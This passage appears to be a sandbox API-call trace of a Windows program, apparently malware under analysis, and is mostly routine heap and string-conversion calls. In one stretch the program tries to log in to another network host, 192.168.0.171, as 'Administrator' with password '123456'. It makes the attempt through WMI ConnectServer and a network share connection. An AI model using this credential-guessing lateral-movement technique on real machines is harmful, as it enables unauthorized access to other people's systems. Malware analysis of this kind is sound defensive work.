returned 1 [0103.582] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0103.582] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0103.582] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272488) returned 1 [0103.582] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272488 | out: hHeap=0x230000) returned 1 [0103.583] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268530) returned 1 [0103.583] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268530 | out: hHeap=0x230000) returned 1 [0103.583] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x322900) returned 1 [0103.583] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x322900 | out: hHeap=0x230000) returned 1 [0103.583] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312320) returned 1 [0103.583] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312320 | out: hHeap=0x230000) returned 1 [0103.583] GetLastError () returned 0x0 [0103.583] SetLastError (dwErrCode=0x0) [0103.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x1d15f89c) returned 27 [0103.583] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x43) returned 0x312e80 [0103.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x312ea4, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x1d15f89c) returned 27 [0103.583] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8) returned 1 [0103.583] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8 | out: hHeap=0x230000) returned 1 [0103.583] GetLastError () returned 0x0 [0103.583] SetLastError (dwErrCode=0x0) [0103.583] GetLastError () returned 0x0 [0103.583] SetLastError (dwErrCode=0x0) [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb8, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb9, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdba, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbb, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbc, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbd, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0103.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbe, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbf, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc0, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc1, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc2, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc3, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc4, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.584] GetLastError () returned 0x0 [0103.584] SetLastError (dwErrCode=0x0) [0103.584] GetLastError () returned 0x0 [0103.584] SetLastError (dwErrCode=0x0) [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dc, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dd, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4de, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4df, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e0, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e1, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e2, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e3, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e4, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e5, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e6, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e7, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e8, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.584] GetLastError () returned 0x0 [0103.584] SetLastError (dwErrCode=0x0) [0103.584] GetLastError () returned 0x0 [0103.584] SetLastError (dwErrCode=0x0) [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054f8, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054f9, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054fa, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="3") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054fb, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054fc, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0103.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054fd, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0103.585] GetLastError () returned 0x0 [0103.585] SetLastError (dwErrCode=0x0) [0103.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0103.585] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x312320 [0103.585] GetLastError () returned 0x0 [0103.585] SetLastError (dwErrCode=0x0) [0103.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x312340, cchWideChar=2 | out: lpWideCharStr="C") returned 2 [0103.585] GetLastError () returned 0x0 [0103.585] SetLastError (dwErrCode=0x0) [0103.585] GetLastError () returned 0x0 [0103.585] SetLastError (dwErrCode=0x0) [0103.585] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x3228c0 [0103.585] GetLastError () returned 0x0 [0103.585] SetLastError (dwErrCode=0x0) [0103.585] GetLastError () returned 0x0 [0103.585] SetLastError (dwErrCode=0x0) [0103.585] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2684f8 [0103.585] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0) returned 1 [0103.585] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0x230000) returned 1 [0103.585] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300) returned 1 [0103.585] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300 | out: hHeap=0x230000) returned 1 [0103.585] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830) returned 1 [0103.585] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830 | out: hHeap=0x230000) returned 1 [0103.585] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3122f0) returned 1 [0103.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3122f0 | out: hHeap=0x230000) returned 1 [0103.586] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2dfff0) returned 1 [0103.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2dfff0 | out: hHeap=0x230000) returned 1 [0103.586] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfa0) returned 1 [0103.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfa0 | out: hHeap=0x230000) returned 1 [0103.586] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30) returned 1 [0103.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30 | out: hHeap=0x230000) returned 1 [0103.586] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312320) returned 1 [0103.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312320 | out: hHeap=0x230000) returned 1 [0103.586] GetLastError () returned 0x0 [0103.586] SetLastError (dwErrCode=0x0) [0103.586] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x2ddfa0 [0103.586] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80) returned 1 [0103.586] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80 | out: hHeap=0x230000) returned 1 [0103.586] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2ddf68 [0103.586] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2ddf30 [0103.586] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2ddef8 [0103.586] WbemLocator:IWbemLocator:ConnectServer (in: This=0xbdc0828, strNetworkResource="\\\\192.168.0.171\\root\\cimv2", strUser="Administrator", strPassword="123456", strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1d15fa0c | out: ppNamespace=0x1d15fa0c*=0x0) returned 0x80070005 [0104.021] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddef8) returned 1 [0104.021] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddef8 | out: hHeap=0x230000) returned 1 [0104.021] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddf30) returned 1 [0104.021] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddf30 | out: hHeap=0x230000) returned 1 [0104.022] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddf68) returned 1 [0104.022] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddf68 | out: hHeap=0x230000) returned 1 [0104.022] WbemLocator:IUnknown:Release (This=0xbdc0828) returned 0x0 [0104.022] CoUninitialize () [0104.113] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2ddfd8 [0104.114] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2de208 [0104.114] WNetAddConnection2A (lpNetResource=0x1d15fcb4*(dwScope=0x1, dwType=0x0, dwDisplayType=0x9, dwUsage=0x0, lpLocalName=0x0, lpRemoteName="\\\\192.168.0.171", lpComment=0x0, lpProvider=0x0), lpPassword="123456", lpUserName="Administrator", dwFlags=0x1) returned 0x52e [0106.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2de208) returned 1 [0106.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2de208 | out: hHeap=0x230000) returned 1 [0106.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfd8) returned 1 [0106.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ddfd8 | out: hHeap=0x230000) returned 1 [0106.569] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.569] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0106.649] CoCreateInstance (in: rclsid=0x492500*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x492430*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d15fa08 | out: ppv=0x1d15fa08*=0xdf40828) returned 0x0 [0106.668] GetLastError () returned 0x0 [0106.668] SetLastError (dwErrCode=0x0) [0106.668] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x3123b0 [0106.668] GetLastError () returned 0x0 [0106.668] SetLastError (dwErrCode=0x0) [0106.668] GetLastError () returned 0x0 [0106.668] SetLastError (dwErrCode=0x0) [0106.668] GetLastError () returned 0x0 [0106.668] SetLastError (dwErrCode=0x0) [0106.668] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x301d30 [0106.668] GetLastError () returned 0x0 [0106.668] SetLastError (dwErrCode=0x0) [0106.668] GetLastError () returned 0x0 [0106.668] SetLastError (dwErrCode=0x0) [0106.668] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x2ead78 [0106.668] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26ae50 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x3123e0 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x324) returned 0x3070f0 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x31e300 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x32a830 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x125) returned 0x272488 [0106.669] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1d15f2cc | out: lpCPInfo=0x1d15f2cc) returned 1 [0106.669] GetLastError () returned 0x0 [0106.669] SetLastError (dwErrCode=0x0) [0106.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0106.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0106.669] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0106.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0106.669] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 255 [0106.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=255, lpMultiByteStr=0x31e3a1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýýýý", lpUsedDefaultChar=0x0) returned 255 [0106.669] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0106.669] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0106.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0106.670] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0106.670] GetLastError () returned 0x0 [0106.670] SetLastError (dwErrCode=0x0) [0106.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0106.670] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0106.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0106.670] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0106.670] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0106.670] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 